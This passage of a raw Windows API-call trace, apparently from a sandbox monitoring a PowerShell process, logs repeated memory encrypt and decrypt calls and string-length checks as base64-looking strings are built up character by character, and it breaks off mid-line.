[0247.667] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.668] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ\鿝謖裐篝᣽쨔ꮓ∉) returned 0x20 [0247.668] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ\鿝謖裐篝᣽쨔ꮓ∉) returned 0x20 [0247.668] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.668] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/S䉆\⋘) returned 0x20 [0247.668] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.668] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮꂁժڊ곑ヅ〥봳丯") returned 0x20 [0247.668] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮꂁժڊ곑ヅ〥봳丯") returned 0x20 [0247.668] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.668] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SW䉆\⋘) returned 0x20 [0247.668] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.668] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮﲪ嵂樞灘箸뽅嶍嘴") returned 0x20 [0247.669] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮﲪ嵂樞灘箸뽅嶍嘴") returned 0x20 [0247.669] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.669] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWK\⋘) returned 0x20 [0247.669] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.669] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ辞䜹烲К滵蛦髼") returned 0x20 [0247.669] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ辞䜹烲К滵蛦髼") returned 0x20 [0247.669] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.669] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKq") returned 0x20 [0247.669] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.669] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷") returned 0x20 [0247.670] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷") returned 0x20 [0247.670] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷") returned 0x20 [0247.670] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷") returned 0x28 [0247.670] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.716] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqK᯹炦ᆻ蒉➕쏌") returned 0x28 [0247.716] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.716] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷갫\컝⊺䖑馀ಹ࡮⋒) returned 0x28 [0247.716] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷갫\컝⊺䖑馀ಹ࡮⋒) returned 0x28 [0247.716] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.717] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJ炦ᆻ蒉➕쏌") returned 0x28 [0247.717] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.717] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷姼릖舽⮨ꂖ绕웸㿭") returned 0x28 [0247.717] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷姼릖舽⮨ꂖ绕웸㿭") returned 0x28 [0247.717] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.717] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVᆻ蒉➕쏌") returned 0x28 [0247.717] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.717] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᡙ⌥狟퍀椣祌黤勷") returned 0x28 [0247.717] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᡙ⌥狟퍀椣祌黤勷") returned 0x28 [0247.718] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.718] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVN蒉➕쏌") returned 0x28 [0247.718] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.718] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᰐ꘯쐚貣㛕ꢔֻᄐ") returned 0x28 [0247.718] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᰐ꘯쐚貣㛕ꢔֻᄐ") returned 0x28 [0247.718] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.718] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNg➕쏌") returned 0x28 [0247.718] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.719] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᰩمﭺ薰㾜᜛嚄쩎") returned 0x28 [0247.719] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷ᰩمﭺ薰㾜᜛嚄쩎") returned 0x28 [0247.719] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.719] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr➕쏌") returned 0x28 [0247.719] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.719] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷픺ᕑ傞䶂頻ᶲ桉") returned 0x28 [0247.719] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷픺ᕑ傞䶂頻ᶲ桉") returned 0x28 [0247.719] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.719] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr9쏌") returned 0x28 [0247.719] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.720] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷诜ț纞認⦕㙲虸﫯") returned 0x28 [0247.720] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷诜ț纞認⦕㙲虸﫯") returned 0x28 [0247.720] SystemFunction041 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.720] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr92") returned 0x28 [0247.720] SystemFunction040 (in: Memory=0x3af0f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af0f4) returned 0x0 [0247.720] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣∰) returned 0x28 [0247.720] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣∰) returned 0x28 [0247.721] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣∰) returned 0x28 [0247.721] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣∰) returned 0x30 [0247.721] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.721] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr92+尤䛄ⁱ卛ꕂ퀈ﴟ") returned 0x30 [0247.721] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.722] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣︰篡构﵍듁̭≸) returned 0x30 [0247.722] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣︰篡构﵍듁̭≸) returned 0x30 [0247.722] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.722] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr92+s䛄ⁱ卛ꕂ퀈ﴟ") returned 0x30 [0247.722] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.722] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣Ⴢ낼㑃ᚆ刺让暳⋴) returned 0x30 [0247.722] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣Ⴢ낼㑃ᚆ刺让暳⋴) returned 0x30 [0247.722] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.722] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr92+sAⁱ卛ꕂ퀈ﴟ") returned 0x30 [0247.722] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.723] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣鄰뇁⸤谏ㇾ瑇\ࣛ뒁") returned 0x30 [0247.723] SysStringLen (param_1="ᝡꆎ덕ポ㱆ጸꢗ喧խ䧌㌦㎘幢쥶龚〲ꬒ⑌㪩匘ㄵᗮ䓑⍬ߏꭵས䍗哦໷蓌撱ㆭ骿\㷘笓⒣鄰뇁⸤谏ㇾ瑇\ࣛ뒁") returned 0x30 [0247.723] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.723] SysStringLen (param_1="mlaFcwoFB3tSAn2OAa4jzZ3sQVK/SWKqKJVNgr92+sA=卛ꕂ퀈ﴟ") returned 0x30 [0247.723] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0247.723] EtwEventActivityIdControl () returned 0x0 [0247.723] EtwEventActivityIdControl () returned 0x0 [0247.723] EtwEventActivityIdControl () returned 0x0 [0247.724] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.724] EtwEventActivityIdControl () returned 0x0 [0247.725] EtwEventActivityIdControl () returned 0x0 [0247.725] EtwEventActivityIdControl () returned 0x0 [0247.725] SysStringLen (param_1="") returned 0x8 [0247.726] SysStringLen (param_1="N") returned 0x8 [0247.726] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.727] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0247.727] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0247.727] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.727] SysStringLen (param_1="ND") returned 0x8 [0247.727] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.728] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0247.728] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0247.728] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.728] SysStringLen (param_1="NDZ") returned 0x8 [0247.728] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.728] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0247.728] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0247.728] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.728] SysStringLen (param_1="NDZl") returned 0x8 [0247.728] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.729] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0247.729] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0247.729] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.729] SysStringLen (param_1="NDZlO") returned 0x8 [0247.729] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.729] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0247.729] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0247.729] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.729] SysStringLen (param_1="NDZlOD") returned 0x8 [0247.729] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.730] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0247.730] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0247.730] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.730] SysStringLen (param_1="NDZlODR") returned 0x8 [0247.730] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.730] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0247.730] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0247.730] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.730] SysStringLen (param_1="NDZlODRm") returned 0x8 [0247.730] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.730] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0247.731] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0247.731] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.732] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0247.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0247.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0247.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.732] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0247.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0247.732] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0247.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.733] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0247.733] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0247.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0247.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.733] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0247.733] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0247.733] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0247.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.734] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0247.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0247.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0247.734] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.734] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0247.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0247.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0247.734] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.735] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0247.735] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0247.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0247.735] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.735] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0247.735] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0247.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0247.736] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.736] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0247.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0247.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0247.737] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.737] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0247.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0247.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0247.737] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.737] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0247.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0247.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0247.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.738] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0247.738] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0247.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0247.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.738] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0247.738] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 